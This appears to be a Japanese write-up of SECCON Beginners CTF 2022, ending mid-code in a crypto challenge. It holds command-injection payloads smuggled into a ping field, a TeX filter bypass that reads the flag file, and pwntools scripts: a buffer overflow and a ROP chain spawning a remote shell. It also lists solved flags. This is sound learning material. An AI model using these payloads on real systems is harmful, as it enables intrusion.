SECCON Beginners CTF 2022 writeup

Writer:b1uef0x / Webページ建造途中

概要

昨年度まではチームで参加していたが、チームだとreversingやpwnableをやってなかったということで個人参戦した。

16問解いて最終47位。WebとCryptoで気づかなかった問題がいくつかあってとても惜しかったが、20時間稼働したのでよしとする。

チームスコアボード1 チームスコアボード2

目次

Util (Web)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。

指定したIPアドレスに対してpingを打つことができる。

問題ページ上で127.0.0.1にpingを打った出力の様子

いかにもOSコマンドが実行されている返答が来ているのでmain.goを見る。

package main

import (
        "os/exec"

        "github.com/gin-gonic/gin"
)

type IP struct {
        Address string `json:"address"`
}

func main() {
        r := gin.Default()

        r.LoadHTMLGlob("pages/*")

        r.GET("/", func(c *gin.Context) {
                c.HTML(200, "index.html", nil)
        })

        r.POST("/util/ping", func(c *gin.Context) {
                var param IP
                if err := c.Bind(&param); err != nil {
                        c.JSON(400, gin.H{"message": "Invalid parameter"})
                        return
                }

                commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
                result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

                c.JSON(200, gin.H{
                        "result": string(result),
                })
        })

        if err := r.Run(); err != nil {
                panic(err)
        }
}

param.Addressに複数のコマンドを入れればOSコマンドインジェクションができる。クライアント側でIPアドレス以外はInvalid IP addressと返されるが何も問題はない。

やり方はいろいろあるがBurp Suiteを使って送信される次のJSONデータを改ざんしてサーバーに渡した。

{"address":"127.0.0.1"}

以下のものに改ざんする。

{"address":"127.0.0.1;ls /"}
lsの実行結果

lsの実行結果が返ってきてflagファイルがわかるのでcatする。

{"address":"127.0.0.1;cat /flag_A74FIBkN9sELAjOc.txt"}
cat flagの実行結果

ctf4b{al1_0vers_4re_i1l}

textex (Web)

texをpdfにするサービスを作りました。

texで攻撃することはできますか?

TeXを入力するとpdflatexを使ってPDFに変換してくれる。

配布されるサーバー側の構成ファイルを見るとサーバーのカレントディレクトリにflagファイルが設置されていた。ただしapp.pyを見るとflagの文字列は排除される。

def tex2pdf(tex_code) -> str:
    # Generate random file name.
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
    # Create a working directory.
    os.makedirs(f"tex_box/{filename}", exist_ok=True)
    # .tex -> .pdf
    try:
        # No flag !!!!
        if "flag" in tex_code.lower():
            tex_code = ""
        # Write tex code to file.
        with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
            f.write(tex_code)
        # Create pdf from tex.
        subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
    except:
        pass
    if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
        # OMG error ;(
        shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
    return f"{filename}"

TeXには外部texファイルを読み込む機能として標準の\inputがあるが、試しにやったところflagファイルには構文エラーを起こす文字列が含まれていたようで上手くいかなかった。

よってやることは二つ、flag文字列を適当にエスケープして検出されないようにすることと、flagファイルの中身を文字列して読み込むことだ。

次のTeXでflagを文字列として読み込んだ。\verbatiminputで文字列のまま読み込み、flagを\newcommandで組み立てて検出を回避している。

\newcommand{\fl}[1]{fl#1}
\documentclass{article}
\usepackage{verbatim}

\begin{document}
\verbatiminput{\fl{ag}}
\end{document}

flag入りのPDFが生成される。

flag取得時

ctf4b{15_73x_pr0n0unc3d_ch0u?}

phisher (misc)

ホモグラフ攻撃を体験してみましょう。

心配しないで!相手は人間ではありません。

サーバーに接続するとFQDNの入力を求められる。phisher.pyを読むと入力文字を画像に変換してOCRで読み取っている。

fqdn = "www.example.com"
      
# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
    input_fqdn = input("FQDN: ")[:15]
    ocr_fqdn = ocr(text2png(input_fqdn))
    if ocr_fqdn == fqdn: # [OCR] OK !!!
        for c in input_fqdn:
            if c in fqdn:
                global flag
                flag = f"\"{c}\" is included in \"www.example.com\" ;("
                break
        print(flag)
    else: # [OCR] NG
        print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")

OCRで読み取った文字列がwww.example.comと一致しており、入力文字列がwww.example.comと完全に異なるものになっている必要がある。説明通り、URLを誤認させるホモグラフ攻撃の問題である。

Unicodeの一覧表などを使って、同じような形をしたアルファベットで偽のFQDNを作った。

ẉẉẉ․ехаṃṗ|е․соṃ
flag取得時

ctf4b{n16h7_ph15h1n6_15_600d}

H2 (misc)

バージョン2です。

大量のパケットが入ったpcapファイルと通信に使われたと思われるmain.goファイルが配布される。maing.goファイルを読む。

package main

import (
  "net/http"
  "log"
  "fmt"
  "golang.org/x/net/http2"
  "golang.org/x/net/http2/h2c"
)

const SECRET_PATH = "<secret>"

func main() {
  handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
    fmt.Fprintf(w, "Can you find the flag?\n")
  })

  h2s := &http2.Server{}
  h1s := &http.Server{
    Addr:    ":8080",
    Handler: h2c.NewHandler(handler, h2s),
  }

  log.Fatal(h1s.ListenAndServe())
}

HTTPヘッダにx-flagを追加してsecretなデータを入れているので、Wiresharkなどでpcapファイルを開いてx-flagを検索するだけ。

x-flag検索

ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

hitchhike4b (misc)

helpを呼び出したら、ページャーとして猫が来ました。

SECCON CTF 2021で出題されたhitchhikeの派生問題。hitchhikeではPythonのhelp()を使って適当に長い説明文を開くとページャーが動いて処理が止まったところで!printenvなどとやればコマンドを実行できた。

しかし今回は対策されているようだ。

サーバーに接続した際の表示

今回はページャーがcatになっているため停止してコマンドを受け付けてくれない。Pythonのソースが表示されており、flagは二段階に分割されているようだ。

表示されるソースがヒントになっており、今回は色々試して、Helpから__main__モジュールを表示させるとflagの前半を入手できる。

__main__ module表示

表示ソースの後半はPythonではあまり見ない表記だが、__name != "__main__"とはスクリプトが他のスクリプトからモジュールとして読み込まれた際にTrueになるものだ。

Helpからモジュール一覧を表示させる。

module一覧表示

真ん中あたりにあるapp_35f13...はこのスクリプト自身である。そこでこのモジュールを表示させてみる。

自分自身の表示

すると最初の画面が再び起動した。同じ画面のようだが、この状態では読み込まれたスクリプトはモジュールとして読み込まれており、flagの後半の条件を満たすはずだ。

自分自身のモジュール表示

再びモジュール名を表示させると、flagの後半が手に入った。解きながら考えた雑な理解なのでもし間違っていたらもうしわけない。

ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

BeginnersBof (pwnable)

Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.

基本BOF問題。配布されるsrc.cを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

名前の文字数を入力したあとに名前を入力する。最初に入力した文字数より入らないようなので、bufが溢れるような文字数を入力すればよい。

gdbで実行ファイルを起動して適当に長い文字列を入れてret時点でstackの頭が入力文字になって、戻りアドレスが書き換わる位置を探す。

gdbで戻りアドレスが上書きされるところを探した様子。

今回はwin関数がflagを表示させてくれるため、見つかった入力文字の最後をwin関数のアドレスとして、関数の戻りアドレスを書き換えるPythonコードを書いた。

from pwn import *

isOnline = 1
if isOnline==1:
        io = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
else:
        io = process("./chall")
io.recvuntil("How long is your name?")
io.sendline(b"49")
io.recvuntil("What's your name?")
io.send(b"a"*40+(0x4011e6).to_bytes(8, "little"))
io.interactive()

win関数のアドレス0x4011e6は逆アセンブラやobjdump -M intel -d chall > disass.txtなどで逆アセンブルすることで入手できる。

flag取得時

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

raindrop (pwnable)

  • nc raindrop.quals.beginners.seccon.jp 9001
  • raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46

シンプルなROP問題。逆にROPGadgetを使えるほどの規模ではないので脳死で解くことはできない。

サーバーに接続した際の表示

接続するとstackが表示されており、saved ret addrまで書き換えればいいこともわかるので親切である。

実行ファイルを逆アセンブルすると、ソースのhelp関数でcatする際にsystemが呼ばれており利用できそうだ。

00000000004011d6 <help>:
  4011d6:       f3 0f 1e fa             endbr64 
  4011da:       55                      push   rbp
  4011db:       48 89 e5                mov    rbp,rsp
  4011de:       48 8d 3d 23 0e 00 00    lea    rdi,[rip+0xe23]        # 402008 <_IO_stdin_used+0x8>
  4011e5:       e8 b6 fe ff ff          call   4010a0 <system@plt>
  4011ea:       90                      nop
  4011eb:       5d                      pop    rbp
  4011ec:       c3                      ret    

systemで/bin/shを起動したいが、/bin/shはないのでこれは入力文字列として用意する。そのうえで以下のようにstackを積むことを考える。

"/bin/sh" <= buf
(適当なパディング)
pop rdi retのアドレス <= saved ret addr
"/bin/sh"のアドレス
systemのアドレス

これでpop rdiでひとつ下の"/bin/sh"のアドレスがRDIレジスタに読み込まれ、続いてsystemのアドレスが実行されてsystem("/bin/sh")が起動する。

"/bin/sh"のアドレス、つまり入力文字列を格納するstack領域は変化するが、幸いにしてsaved rbpのアドレスとしてstack領域の相対座標を与えてくれるので、ここからbufのアドレスを計算できる。

from pwn import *

addr_pop_rdi = p64(0x401453)
addr_system = p64(0x4011e5)
data_shell = b"/bin/sh\0"
#addr_data = p64(0x7fffffffde90) 'ローカルのbufアドレスの観測結果
sub = 0x7fffffffde90-0x7fffffffdeb0

isOnline = 1
if isOnline==1:
        io = remote("raindrop.quals.beginners.seccon.jp", 9001)
else:
        io = process("./chall")
io.recvuntil("========+==================")
rbp = int(io.recvuntil("Did you understand?").decode().splitlines()[3][10:28],16)
print(hex(rbp))
addr_data = p64(rbp+sub)

rop = b""
rop += data_shell
rop += b"a"*8 + b"b"*8
rop += addr_pop_rdi
rop += addr_data
rop += addr_system

io.sendline(rop)
io.interactive()
flag取得時

ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

Quiz (reversing)

クイズに答えよう!

クイズには答えなかった。

テキストエディタ表示

ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS (reversing)

TLSってなんだぁ?

TLSについての解説は他の参照して欲しい。Ghidraで調べたところTLSのsetとgetをしていることはわかったが、特に活用しなかった。

入力を受け付けてflagと一致不一致を判定してくれるアプリケーションで、x64dbgで実行ファイルにアタッチして出現する文字列を見ていると、次の2つが見つかった。

c4{fAPu8#FHh2+0cyo8$SWJH3a8X
tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}

flagを並び替えたように見える。入力文字列を同じ法則で並び替えていると考えて、次の全文字が異なる入力文字列を与えてみる。

#$%&@{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq}

するとメモリ上には次の文字列が見つかった。

#&{14570CEFIJLORTUXYadgijmnp$%@23689ABDGHKMNPQSVWZbcefhkloq}

これでどの文字同士が入れ替わったどうかがわかるので、同じ規則でflagらしき文字列を並び替えれば復元できるはずだ。

solverをJavascriptで書いた。

<script>
encflag = "c4{fAPu8#FHh2+0cyo8$SWJH3a8Xtfb%s$T9NvFyroLh@89a9yoC3rPy&3b}";

before = "#$%&@{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq}";
after = "#&{14570CEFIJLORTUXYadgijmnp$%@23689ABDGHKMNPQSVWZbcefhkloq}";

flag = [];
for(i=0; i<encflag.length; i++)flag[i] = "*";

for(i=0; i<after.length; i++) {
        index = before.indexOf(after.charAt(i));
        flag[index] = encflag.charAt(i);
}
document.writeln(flag.join(""));
</script>

flagが復元される。

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

Recursive (reversing)

このファイルは中でどんな処理をしているんだろう? バイナリ解析ツールで調べてみようかな

flagを判定するプログラムだ。Ghidraで解析してみよう。

undefined8 main(void)

{
  size_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  show_description();
  printf("FLAG: ");
  __isoc99_scanf("%39s%*[^\n]",local_58);
  sVar1 = strlen(local_58);
  if (sVar1 == 0x26) {
    uVar2 = check(local_58,0);
    if ((int)uVar2 == 1) {
      puts("Incorrect.");
      uVar2 = 1;
    }
    else {
      puts("Correct!");
      uVar2 = 0;
    }
  }
  else {
    puts("Incorrect.");
    uVar2 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

main関数を読むと、読み込んだ文字列をcheck関数に渡している。

undefined8 check(char *param_1,uint param_2)

{
  int iVar1;
  int iVar2;
  size_t sVar3;
  char *__dest;
  undefined8 uVar4;
  
  sVar3 = strlen(param_1);
  iVar1 = (int)sVar3;
  if (iVar1 == 1) {
    if (table[(int)param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar2 = iVar1 / 2;
    __dest = (char *)malloc((long)iVar2);
    strncpy(__dest,param_1,(long)iVar2);
    uVar4 = check(__dest,param_2);
    if ((int)uVar4 == 1) {
      return 1;
    }
    __dest = (char *)malloc((long)(iVar1 - iVar2));
    strncpy(__dest,param_1 + iVar2,(long)(iVar1 - iVar2));
    uVar4 = check(__dest,iVar2 * iVar2 + param_2);
    if ((int)uVar4 == 1) {
      return 1;
    }
  }
  return 0;
}

check関数では入力文字列を分割しながら再帰的にマッチングをしているようだ。このflagの文字列と比較している部分はtable[(int)param_2] != *param_1の部分。

tableのアドレスを調べる。

tableのバイト列格納先

先頭からバイト列が63 74と続いており、flagがバラバラに格納されているようだ。この部分を取り出して、check関数をスクリプトに書き起こして動作させてみればflagが出てくるはずだ。

というわけでまたJavascriptを書いた。

<pre><script>
table = "63 74 60 2A 66 34 28 2B 62 63 39 35 22 2E 38 31 62 7B 68 6D 72 33 63 2F 7D 72 40 3A 7B 26 3B 35 31 34 6F 64 2A 3C 68 2C 6E 27 64 6D 78 77 3F 6C 65 67 28 79 6F 29 6E 65 2B 6A 2D 7B 28 60 71 2F 72 72 33 7C 28 24 30 2B 35 73 2E 7A 7B 5F 6E 63 61 75 72 24 7B 73 31 76 35 25 21 70 29 68 21 71 27 74 3C 3D 6C 40 5F 38 68 39 33 5F 77 6F 63 34 6C 64 25 3E 3F 63 62 61 3C 64 61 67 78 7C 6C 3C 62 2F 79 2C 79 60 6B 2D 37 7B 3D 3B 7B 26 38 2C 38 75 35 24 6B 6B 63 7D 40 37 71 40 3C 74 6D 30 33 3A 26 2C 66 31 76 79 62 27 38 25 64 79 6C 32 28 67 3F 37 31 37 71 23 75 3E 66 77 28 29 76 6F 6F 24 36 67 29 3A 29 5F 63 5F 2B 38 76 2E 67 62 6D 28 25 24 77 28 3C 68 3A 31 21 63 27 72 75 76 7D 40 33 60 79 61 21 72 35 26 3B 35 7A 5F 6F 67 6D 30 61 39 63 32 33 73 6D 77 2D 2E 69 23 7C 77 7B 38 6B 65 70 66 76 77 3A 33 7C 33 66 35 3C 65 40 3A 7D 2A 2C 71 3E 73 67 21 62 64 6B 72 30 78 37 40 3E 68 2F 35 2A 68 69 3C 37 34 39 27 7C 7B 29 73 6A 31 3B 30 2C 24 69 67 26 76 29 3D 74 30 66 6E 6B 7C 30 33 6A 22 7D 37 72 7B 7D 74 69 7D 3F 5F 3C 73 77 78 6A 75 31 6B 21 6C 26 64 62 21 6A 3A 7D 21 7A 7D 36 2A 60 31 5F 7B 66 31 73 40 33 64 2C 76 69 6F 34 35 3C 5F 34 76 63 5F 76 33 3E 68 75 33 3E 2B 62 79 76 71 23 23 40 66 2B 29 6C 63 39 31 77 2B 39 69 37 23 76 3C 72 3B 72 72 24 75 40 28 61 74 3E 76 6E 3A 37 62 60 6A 73 6D 67 36 6D 79 7B 2B 39 6D 5F 2D 72 79 70 70 5F 75 35 6E 2A 36 2E 7D 66 38 70 70 67 3C 6D 2D 26 71 71 35 6B 33 66 3F 3D 75 31 7D 6D 5F 3F 6E 39 3C 7C 65 74 2A 2D 2F 25 66 67 68 2E 31 6D 28 40 5F 33 76 66 34 69 28 6E 29 73 32 6A 76 67 30 6D 34".split(" ");


function check(param_1,param_2){
  console.log(param_1,param_2);
  let iVar1;
  let iVar2;
  let sVar3;
  let __dest;
  let uVar4;
  
  sVar3 = param_1.length;
  iVar1 = sVar3;
  if(iVar1 == 1) {
    flag[ref.indexOf(param_1)] = String.fromCharCode(parseInt(table[param_2], 16));
    //if(table[param_2] != param_1)return 1;
  }else {
    iVar2 = Math.floor(iVar1 / 2);
    __dest = param_1.substr(0,iVar2);
    uVar4 = check(__dest,param_2);
    if(uVar4 == 1)return 1;
    __dest = param_1.substr(iVar2,iVar1-iVar2);
    uVar4 = check(__dest,iVar2 * iVar2 + param_2);
    if(uVar4 == 1)return 1;
  }
  return 0;
}

var ref = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZab"
var dummy = ref;

flag = [];
for(i=0; i<dummy.length; i++)flag[i] = "*";

res = check(dummy,0);

document.writeln(flag.join(""));
</script></pre>

入力文字列の位置と比較されるflag文字列の位置を対応付けるために、全文字が異なる入力文字列を与えてtable内の該当するバイト列を取り出している。check関数がreturn 1を返すと途中で止まってしまうので該当部分を削除している。

ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

Ransom (reversing)

なんか怪しいファイルと通信記録を捉えました! あれ? ここにあった超重要機密ファイルの名前が変わっているぞ...?

※ 問題のテーマからするとファイルを削除する機能があるはずですが、デバッグのしやすさのためにファイルを削除する機能は外してあります

特定のファイルを削除するランサムモドキとランサムモドキが通信したpcapファイル、そして暗号化後のファイルが与えられる。

Ghidraで読むと大雑把に上から、暗号鍵をランダムに生成→「ctf4b_super_secret.txt」を読み込む→「ctf4b_super_secret.tx」の中身を暗号化→「ctf4b_super_secret.txt.lock」に書き込み→暗号鍵を送信、となっているようだ。

pcapファイルは僅かなパケットしかないのでTCPペイロードのあるものを見ると暗号鍵が見つかる。

pcapファイルから暗号鍵を入手

暗号鍵は「rgUAvvyfyApNPEYg」であろう。

Ghidraで暗号化部分の逆コンパイル結果を見る。

undefined8 FUN_0010157f(char *param_1,char *param_2,long param_3)

{
  long in_FS_OFFSET;
  undefined local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101381(param_1,(long)local_118);
  FUN_0010145e((long)local_118,param_2,param_3);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

gdbでアタッチして実際に入力文字列がどこに突っ込まれるかも確認しながら見たが、処理としてはFUN_00101381で16文字の暗号鍵から256文字のバイト列を作り、FUN_0010145eでファイルの中身を256文字のバイト列を使って暗号化している。

undefined8 FUN_00101381(char *param_1,long param_2)

{
  int iVar1;
  uint uVar2;
  size_t sVar3;
  int local_18;
  int local_14;
  int local_10;
  
  sVar3 = strlen(param_1);
  local_18 = 0;
  local_14 = 0;
  while (local_14 < 0x100) {
    *(undefined *)(param_2 + local_14) = (char)local_14;
    local_14 = local_14 + 1;
  }
  local_10 = 0;
  while (local_10 < 0x100) {
    iVar1 = (uint)*(byte *)(param_2 + local_10) + local_18 + (int)param_1[local_10 % (int)sVar3];
    uVar2 = (uint)(iVar1 >> 0x1f) >> 0x18;
    local_18 = (iVar1 + uVar2 & 0xff) - uVar2;
    FUN_00101349((undefined *)(param_2 + local_10),(undefined *)(local_18 + param_2));
    local_10 = local_10 + 1;
  }
  return 0;
}

まず暗号鍵から暗号化に使うバイト列を生成する関数。具体的には0~255までの数字を入れた256個の配列を並び替える処理をしている。出力はシャッフルされた0~255までの数字の入った配列となる。

undefined8 FUN_0010145e(long param_1,char *param_2,long param_3)

{
  size_t sVar1;
  uint local_24;
  uint local_20;
  ulong local_18;
  
  local_24 = 0;
  local_20 = 0;
  local_18 = 0;
  sVar1 = strlen(param_2);
  while (local_18 < sVar1) {
    local_24 = local_24 + 1 & 0xff;
    local_20 = *(byte *)(param_1 + (int)local_24) + local_20 & 0xff;
    FUN_00101349((undefined *)(param_1 + (int)local_24),(undefined *)((int)local_20 + param_1));
    *(byte *)(local_18 + param_3) =
         param_2[local_18] ^
         *(byte *)(param_1 +
                  (ulong)(byte)(*(char *)(param_1 + (int)local_20) +
                               *(char *)(param_1 + (int)local_24)));
    local_18 = local_18 + 1;
  }
  return 0;
}

暗号化本体関数はファイルのデータを先頭から順番にXOR演算していることがわかる。つまり先頭から文字列を特定していっても全体に影響を与えないため、ブルートフォース攻撃が可能だ。

暗号化後のflagが与えられているので、FUN_00101381とFUN_0010145eを書き下して先頭から1文字ずつ総当たりで暗号化を試してflagを求めるスクリプトを書いた。

またしてもJavascriptを書いた。

<script>

function makekey(param_1,param_2){
  let iVar1;
  let uVar2;
  let sVar3;
  let local_18;
  let local_14;
  let local_10;
  
  sVar3 = param_1.length;
  local_18 = 0;
  local_14 = 0;
  while (local_14 < 0x100) {
    param_2[local_14] = local_14;
    local_14 = local_14 + 1;
  }
  local_10 = 0;
  while (local_10 < 0x100) {
    iVar1 = param_2[local_10] + local_18 + param_1[local_10 % sVar3];
    uVar2 = (iVar1 >> 0x1f) >> 0x18;
    local_18 = (iVar1 + uVar2 & 0xff) - uVar2;
    
    tmp = param_2[local_10];
    param_2[local_10] = param_2[local_18];
    param_2[local_18] = tmp;
    local_10 = local_10 + 1;
  }
  return 0;
}


__keystr = "rgUAvvyfyApNPEYg";
p1 = [];
for(i=0; i<__keystr.length; i++)p1[i] = __keystr.charCodeAt(i);
__keys = [];
makekey(p1,__keys);

function enc(keys,param_2,param_3){
  let sVar1;
  let local_24;
  let local_20;
  let local_18;
  
  local_24 = 0;
  local_20 = 0;
  local_18 = 0;
  sVar1 = param_2.length;
  while (local_18 < sVar1) {
    local_24 = local_24 + 1 & 0xff;
    local_20 = keys[local_24] + local_20 & 0xff;
    
    tmp = keys[local_24];
    keys[local_24] = keys[local_20];
    keys[local_20] = tmp;
    
    param_3[local_18] = param_2[local_18] ^ keys[(keys[local_20] + keys[local_24]) & 0xff];
    local_18 = local_18 + 1;
  }
  return 0;
}

encflag = [0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,0x76,0x10];
//flag = "ctf4b{*******************************************}";
flag = "ctf4b{";
flagary = [];
for(i=0; i<flag.length; i++)flagary[i] = flag.charCodeAt(i);

tmpkey = []
for(i=6; i<encflag.length; i++) {
        
        for(j=0x20; j<0x7f; j++) {
                flagary[i] = j;
                encary = [];
                tmpkey = []
                for(k=0; k<__keys.length; k++)tmpkey[k] = __keys[k];
                f = enc(tmpkey,flagary,encary);
                if(encflag[i]==encary[i]) {
                        break;
                }
        }
}


for(i=0; i<flagary.length; i++)flagary[i] = String.fromCharCode(flagary[i])
document.writeln(flagary.join(""));

</script>

※解いているときは気づいていなかったが、これはRC4であったようだ。言われれば確かに。

ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

CoughingFox (Crypto)

きつねさんが食べ物を探しているみたいです。

Cryptoのウォームアップ問題にきつね問題を置くのは流行りなのだろうか。

次のproblem.pyと出力されたデータが与えられる。

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

最後にshuffleされて順番がバラバラになっているが、暗号化されたflagデータのi番目についてiで引いた値が平方数になっているかどうかでi番目であることを特定できる。solverを書いた。

import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

length = len(cipher)

flag = []
for i in range(length):
        flag += [""]

for c in cipher:
        for i in range(length):
                tmp = math.sqrt(c-i)
                if tmp%1 == 0:
                        flag[i] = chr(int(tmp-i))
                        break


print("flag =", "".join(flag))

ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

PrimeParty (Crypto)

Primeパーティへようこそ!!!

RSA問題。serve.pyを確認する。

from Crypto.Util.number import *
from secret import flag
from functools import reduce
from operator import mul


bits = 256
flag = bytes_to_long(flag.encode())
assert flag.bit_length() == 455

GUESTS = []


def invite(p):
    global GUESTS
    if isPrime(p):
        print("[*] We have been waiting for you!!! This way, please.")
        GUESTS.append(p)
    else:
        print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
    print("-*-*-*-*-*-*-*-*-*-*-*-*-")


invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))

for i in range(3):
    print("[*] Do you want to invite more guests?")
    num = int(input(" > "))
    invite(num)


n = reduce(mul, GUESTS)
e = 65537
cipher = pow(flag, e, n)

print("n =", n)
print("e =", e)
print("cipher =", cipher)

256bitの素数を4つ作ったあと、自由に3回数字を入力して素数だったもののみを加えて、ここまでのすべての素数を乗算して公開鍵にしているRSA暗号だ。

CTF crypto 逆引き( https://furutsuki.hatenablog.com/entry/2021/03/16/095021 )を調べてみると、これは「nがある素数と別の合成数までは素因数分解できる」場合のようだ。

該当する記述を引用する。というかこのwriteupを書いている時点で本CTFが出題例に増えている。

nがある素数と別の合成数までは素因数分解できる - CTF crypto 逆引き

条件に従えば、必要な素数pは256bit×4よりも小さく、flagの455bitよりも大きなbit数になる。今回は768bitとして暗号を生成してみた。入力は3回できるが残り2回は適当に1とか入れれば無視される。

次がsolverとなる。使える拡張Euclid関数をコメント中のところからいただいた。

from Crypto.Util.number import *
from Crypto.Util.number import bytes_to_long, long_to_bytes


def modinv(a, b):
    p = b
    x, y, u, v = 1, 0, 0, 1
    while b:
        k = a // b
        x -= k * u
        y -= k * v
        x, u = u, x
        y, v = v, y
        a, b = b, a % b
    x %= p
    if x < 0:
        x += p
    return x
# https://qiita.com/akebono-san/items/f00c0db99342a8d68e5d

c = 3331086713859460257759186019637842404963439040649247014047452122410427871016298713797362052045231336278357599247850921038293574392561080247289906914259923616117910814547086860264553038123511164280617524172938738741639764547251094505354382928153911362744235567434123695463970393633485753399432277817756934964597000665941841315820224808823418016814860689489767042514392312864616974671014259254852715539532185827022475428227346651383430707908212551898776210820726068224744761717071841740227301417399225692378942420806780187154972707007745672

e = 65537
n = 21287500875894958432115969170459291349814279238030138105986481218072932530682208629713371864004329386694284946687047396185029078830695514787994745107872442896196227531794722503767227569092937765967526471144082692944637007831646425257111724098965207742700581325746222408246932158447275795681420980644478965546793082781095176142248440065306245615708208693403462093671696496669368906800277337745016110731712834868016668425847350596030178043350759240516084195478048485468335231788093925890953505056866653067819074190191036132767534284456298793

prime = 1195800041490568535300880824343570183527867278017329150358325419126223486387982873859745628728122591520539130997336529775572416903077005912463405234506249153748685254427707027691629184547353528779711691239381554869632069192555505059

d = modinv(e,prime-1)
_c = c % prime
print(long_to_bytes(pow(_c, d, prime)))

ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}

Command (Crypto)

安全なコマンドだけが使えます

結論から言えば初期ベクトルIVを使ったCBCビットフリップ攻撃の問題である。

配布されるスクリプトを確認してみよう。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os


def main():
    while True:
        print('----- Menu -----')
        print('1. Encrypt command')
        print('2. Execute encrypted command')
        print('3. Exit')
        select = int(input('> '))

        if select == 1:
            encrypt()
        elif select == 2:
            execute()
        elif select == 3:
            break
        else:
            pass

        print()


def encrypt():
    print('Available commands: fizzbuzz, primes, getflag')
    cmd = input('> ').encode()

    if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
        print('unknown command')
        return

    if b'getflag' in cmd:
        print('this command is for admin')
        return

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(cmd, 16))
    print(f'Encrypted command: {(iv+enc).hex()}')


def execute():
    inp = bytes.fromhex(input('Encrypted command> '))
    iv, enc = inp[:16], inp[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        cmd = unpad(cipher.decrypt(enc), 16)
        if cmd == b'fizzbuzz':
            fizzbuzz()
        elif cmd == b'primes':
            primes()
